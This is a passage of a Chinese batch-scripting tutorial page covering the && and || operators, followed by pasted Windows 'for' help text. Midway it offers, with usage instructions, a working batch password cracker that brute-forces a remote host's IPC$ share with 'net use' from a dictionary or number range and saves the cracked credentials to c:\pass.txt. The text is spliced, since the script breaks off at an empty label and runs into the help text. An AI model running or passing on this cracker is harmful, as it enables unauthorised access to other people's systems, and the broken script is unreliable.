批處理經(jīng)典入門教程!(從不懂到高手)第4/5頁(yè)
更新時(shí)間:2007年02月23日 00:00:00 作者:
寫這篇教程的目的,是讓每一個(gè)看過(guò)這些文字的朋友記住一句話:如果愛可以讓事情變的更簡(jiǎn)單,那么就讓它簡(jiǎn)單吧!看這篇教程的方法
15、&&
切記,這里介紹的幾個(gè)命令都是組合命令,所以他們前后都必須都有其他命令(要不如何組合?)。這個(gè)命令也不例外,它可以把它前后兩個(gè)命令組合起來(lái)當(dāng)一個(gè)命令來(lái)用,與&命令不同之處在于,它在從前往后依次執(zhí)行被它連接的幾個(gè)命令時(shí)會(huì)自動(dòng)判斷是否有某個(gè)命令執(zhí)行出錯(cuò),一旦發(fā)現(xiàn)出錯(cuò)后將不繼續(xù)執(zhí)行后面剩下的命令。這就為我們自動(dòng)化完成一些任務(wù)提供了方便。例十七:
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www
如果遠(yuǎn)程主機(jī)存在user.mdb,則copy到本地e:\backup\www,如果不存在當(dāng)然就不執(zhí)行copy了。這句對(duì)搞網(wǎng)管的朋友是否有點(diǎn)用呢?呵呵。其實(shí)它和下面這句的作用是一樣的:
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www
至于你喜歡用哪個(gè)就隨便了,我沒辦法判斷dir和if兩個(gè)命令哪一個(gè)執(zhí)行效率更高,所以不知道用哪個(gè)更好,呵呵。
你是否還記得“有些命令是不能同時(shí)執(zhí)行的”?你是否相信這句話?當(dāng)然得相信,不信就給你出道題:把C盤和D盤的文件和文件夾列出到a.txt文件中。你將如何來(lái)搞定這道題?有朋友說(shuō),這還不是很easy的問(wèn)題嗎?同時(shí)執(zhí)行兩個(gè)dir,然后把得到的結(jié)果>到a.txt里就ok了嘛,看例十八:
dir c:\ && dir d:\ > a.txt
仔細(xì)研究一下這句執(zhí)行后的結(jié)果,看看是否能達(dá)到題目的要求!錯(cuò)了!這樣執(zhí)行后a.txt里只有D盤的信息!為什么?就因?yàn)檫@里&&命令和>命令不能同時(shí)出現(xiàn)一個(gè)句子里(批處理把一行看成一個(gè)句子)?。〗M合命令&&的優(yōu)先級(jí)沒有管道命令>的優(yōu)先級(jí)高(自己總結(jié)的,不妥的地方請(qǐng)指正)!所以這句在執(zhí)行時(shí)將本分成這兩部分:dir c:\和dir d:\ > a.txt,而并不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。要使用組合命令&&達(dá)到題目的要求,必須得這么寫:
dir c:\ > a.txt && dir d:\ >> a.txt
這樣,依據(jù)優(yōu)先級(jí)高低,DOS將把這句話分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會(huì)一下。
當(dāng)然這里還可以利用&命令(自己想一下道理哦):
dir c:\ > a.txt & dir d:\ >> a.txt
16、||
這個(gè)命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執(zhí)行多條命令時(shí),當(dāng)遇到一個(gè)執(zhí)行正確的命令就退出此命令組合,不再繼續(xù)執(zhí)行下面的命令。題目:查看當(dāng)前目錄下是否有以s開頭的exe文件,如果有則退出。例十九:
@echo off
dir s*.exe || exit
其實(shí)這個(gè)例子是有破綻的,你看出來(lái)了嗎?其實(shí)很簡(jiǎn)單,自己試試就知道了嘛:如果存在那個(gè)exe文件,就退出;如果不存在那個(gè)exe文件,也退出!為什么?因?yàn)槿绻淮嬖谀莻€(gè).exe文件,則前一條命令dir s*.exe執(zhí)行肯定是不成功的,所以就繼續(xù)執(zhí)行exit,自然就退出了,呵呵。那么如何解決題目給出的問(wèn)題呢?看例二十:
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
這樣執(zhí)行的結(jié)果,就能達(dá)到題目的要求,是否存在s*.exe將出現(xiàn)兩種結(jié)果。這里加暫停的意思,當(dāng)然是讓你能看到echo輸出的內(nèi)容,否則一閃而過(guò)的窗口,echo就白寫了。
給出兩個(gè)更好研究?jī)?yōu)先級(jí)(同時(shí)也是更難理解)的腳本,仔細(xì)研究它們的區(qū)別,以便徹底理解各種命令的優(yōu)先級(jí)順序,對(duì)以后自己利用這些命令寫腳本有很大的好處----不會(huì)出錯(cuò)!OK,請(qǐng)看例二十一和例二十二:
例二十一:
@echo off
dir a.ttt /a & dir a.txt || exit
例二十二:
@echo off
dir a.ttt /a && dir a.txt || exit
警告:患有心腦血管病的朋友請(qǐng)不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個(gè)腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護(hù)人負(fù)責(zé),與本人和本論壇無(wú)關(guān)。特此警告!
有關(guān)管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經(jīng)掌握!千萬(wàn)別小看了這幾個(gè)鬼命令,大棒槌是我的說(shuō),簡(jiǎn)直就不是人學(xué)的東西!但我還是靜下心來(lái)研究了一番,最后得出的結(jié)論如上所述,已經(jīng)一點(diǎn)不剩的交給你了,希望你好好收藏并消化吸收,當(dāng)然有錯(cuò)誤被你發(fā)現(xiàn)了,或者不完整的地方被你看出來(lái)了,請(qǐng)趕緊告訴我一聲!
這幾個(gè)命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡(jiǎn)明批處理教程”,雖然說(shuō)的比較全面,但看起來(lái)很不過(guò)癮。在對(duì)for等命令介紹時(shí)就一個(gè)for /? > a.txt & start a.txt完事了(當(dāng)然這一點(diǎn)上我不能說(shuō)人家什么,畢竟我連for /?都沒給出),而對(duì)上述管道命令和組合命令、以及這篇教程以后將講到的用批處理好啊作注冊(cè)表等方面根本沒有介紹。我之所以花整整一章來(lái)講管道命令和組合命令,是因?yàn)樗麄儾攀桥幚淼木A和靈魂,能否正確利用好這幾個(gè)命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問(wèn)題,可以從DOS的角度出發(fā)專門有針對(duì)性的學(xué)習(xí),但有關(guān)這幾個(gè)命令的問(wèn)題,卻是不容易精通掌握的----他們之間的關(guān)系太復(fù)雜了!
將下列代碼存為bat文件
1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機(jī) 用戶名
2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長(zhǎng) 結(jié)束數(shù) 主機(jī) 用戶名
密碼破解出來(lái)之后,存放于c:\pass.txt文件里面。
將下列代碼存為pass.bat文件
復(fù)制代碼 代碼如下:
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解結(jié)果: >>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的說(shuō)2
:大棒槌是我的說(shuō)1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的說(shuō)2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
將下列代碼存為test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2
:answer0
echo 遠(yuǎn)程主機(jī):"%1" >>c:\pass.txt
echo 用 戶:"%3" >>c:\pass.txt
echo 密 碼:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
For
對(duì)一組文件中的每個(gè)文件運(yùn)行指定的命令。
可以在批處理程序中或直接從命令提示符使用 for 命令。
要在批處理程序中使用 for 命令,請(qǐng)使用以下語(yǔ)法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,請(qǐng)使用以下語(yǔ)法:
for %variable in (set) do command [command-parameters]
參數(shù)
%%variable 或 %variable
代表可替換的參數(shù)。for 命令使用在 set 中指定的每個(gè)文本字符串替換 %%variable(或 %variable),直到此命令(在command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 %
variable 通過(guò)命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫。
(set)
指定要用指定的命令處理的一個(gè)或多個(gè)文件或文本字符串。需要括號(hào)。
command
指定要在指定的 set 所包含的每個(gè)文件上執(zhí)行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何參數(shù)或開關(guān))的任何參數(shù)或開關(guān)。
如果啟用了命令擴(kuò)展(Windows 2000 中的默認(rèn)設(shè)置),將支持 for 命令的其他形式。
For 命令的其他形式
如果啟用了命令擴(kuò)展,將支持如下 for 命令的其他格式:
只限于目錄
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),則指定與目錄名匹配,而不是文件名。
遞歸
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
進(jìn)入根目錄樹[drive:]path,在樹的每個(gè)目錄中執(zhí)行 for 語(yǔ)句。如果在 /R 后沒有指定目錄,則假定為當(dāng)前目錄。如果
set 只是一個(gè)句號(hào) (.) 字符,則只列舉目錄樹。
迭代
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按步長(zhǎng)量劃分的、從頭到尾的數(shù)字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5
4 3 2 1)。
文件解析
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]
或者,如果出現(xiàn) usebackq 選項(xiàng):
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
filenameset 參數(shù)指定一個(gè)或多個(gè)文件名稱。在繼續(xù)到 filenameset 中的下一個(gè)文件之前,每個(gè)文件都會(huì)被打開、讀取和處理。
過(guò)程由讀取文件、分成獨(dú)立的文本行及然后將每行解析成零個(gè)或更多個(gè)令牌組成。然后使用設(shè)置為找到的一個(gè)或多個(gè)令牌字符串的變量值(或多個(gè)值)集合調(diào)用 for 循環(huán)體。默認(rèn)情況下,/F 傳遞每個(gè)文件每一行的第一個(gè)空白分隔符號(hào)。
跳過(guò)空行。通過(guò)指定可選的“options”參數(shù)可以覆蓋默認(rèn)的解析行為。這是一個(gè)引用字符串,它包含一個(gè)或多個(gè)關(guān)鍵字
以指定不同的解析選項(xiàng)。關(guān)鍵字是:
關(guān)鍵字 說(shuō)明
eol=c 指定行尾注釋字符(只一個(gè)字符)
skip=n 指定在文件的開頭跳過(guò)的行數(shù)。
delims=xxx 指定定界符集合。這將替換空格和制表符的默認(rèn)分隔符集。
tokens=x,y,m-n 指定將令牌從每行傳遞到每個(gè)反復(fù)的正文。這將導(dǎo)致分配其他變量名。m-n 格式是一個(gè)范圍,指定從mth 到 nth 的令牌。如果在令牌 = 字符串中最后一個(gè)字符是星號(hào),則將分配附加的變量,并在解析最后一個(gè)令牌后在行
上接收剩余的文本。
usebackq 指定將右引號(hào)字符串作為命令執(zhí)行,單引號(hào)字符串是文字字符串命令,您可以使用雙引號(hào)包括 filenameset 中的文件名。
變量替換
您可能感興趣的文章:
- windows批處理命令教程
- bat批處理 if 命令示例詳解
- 批處理 Set 命令詳解 讓你理解set命令
- BAT批處理中的字符串處理詳解(字符串截取)
- 批處理命令Start的使用介紹
- 批處理bat設(shè)置固定IP地址和自動(dòng)IP地址
- Windows下用命令行修改IP地址的方法詳解(附批處理文件)
- 批處理獲取網(wǎng)卡名稱的代碼(附修改IP、網(wǎng)關(guān)、DNS腳本)
- 獲取外網(wǎng)IP地址的批處理代碼
- 批處理、VBS實(shí)現(xiàn)自動(dòng)設(shè)置IP、默認(rèn)網(wǎng)關(guān)、DNS、WINS、IE代理(全)
- IP地址自動(dòng)設(shè)置的批處理代碼分享
- 批處理實(shí)例下載
相關(guān)文章
自動(dòng)生成批量執(zhí)行SQL腳本的批處理實(shí)例演示
DBA那邊給我導(dǎo)出了所有的存儲(chǔ)、函數(shù)等等對(duì)象的創(chuàng)建腳本,有上千個(gè)文件,接下來(lái)為大家介紹下如何將這些對(duì)象創(chuàng)建腳本導(dǎo)入到另外一個(gè)庫(kù)2013-04-04批處理實(shí)現(xiàn)亂雨紛飛(黑客帝國(guó)特效)
本文給大家匯總介紹了3種使用批處理來(lái)實(shí)現(xiàn)的類似黑客帝國(guó)的數(shù)碼雨特效的代碼,學(xué)會(huì)了你也可以去好萊塢做特效啦^_^2015-09-09清除系統(tǒng)垃圾文件的批處理(無(wú)錯(cuò)增強(qiáng)版)
網(wǎng)上的東西有很多經(jīng)典的,但也有很多不足的地方,這篇文章網(wǎng)上很流行的,可以說(shuō)是很精典,你在網(wǎng)上找一下下邊這些關(guān)鍵詞2013-05-05批處理中Copy與Xcopy命令的區(qū)別小結(jié)
本文介紹下,批處理腳本中,copy命令與xcopy命令在用法上的一些區(qū)別,感興趣的朋友可以參考下2014-05-05批處理完美實(shí)現(xiàn)FTP遠(yuǎn)程備份數(shù)據(jù)
本文給大家分享的是實(shí)現(xiàn)使用FTP遠(yuǎn)程備份數(shù)據(jù)到本地的批處理腳本,非常的簡(jiǎn)單實(shí)用,有需要的小伙伴可以參考下。2015-09-09用批處理網(wǎng)絡(luò)映射驅(qū)動(dòng)器后自動(dòng)修改磁盤卷標(biāo)名腳本
于一些企業(yè),內(nèi)網(wǎng)的文件服務(wù)器和傳真服務(wù)器非常常見。為了方便,網(wǎng)絡(luò)管理員一般會(huì)把服務(wù)器上一些的文件夾他們映射為本地磁盤,方便用戶使用。2011-08-08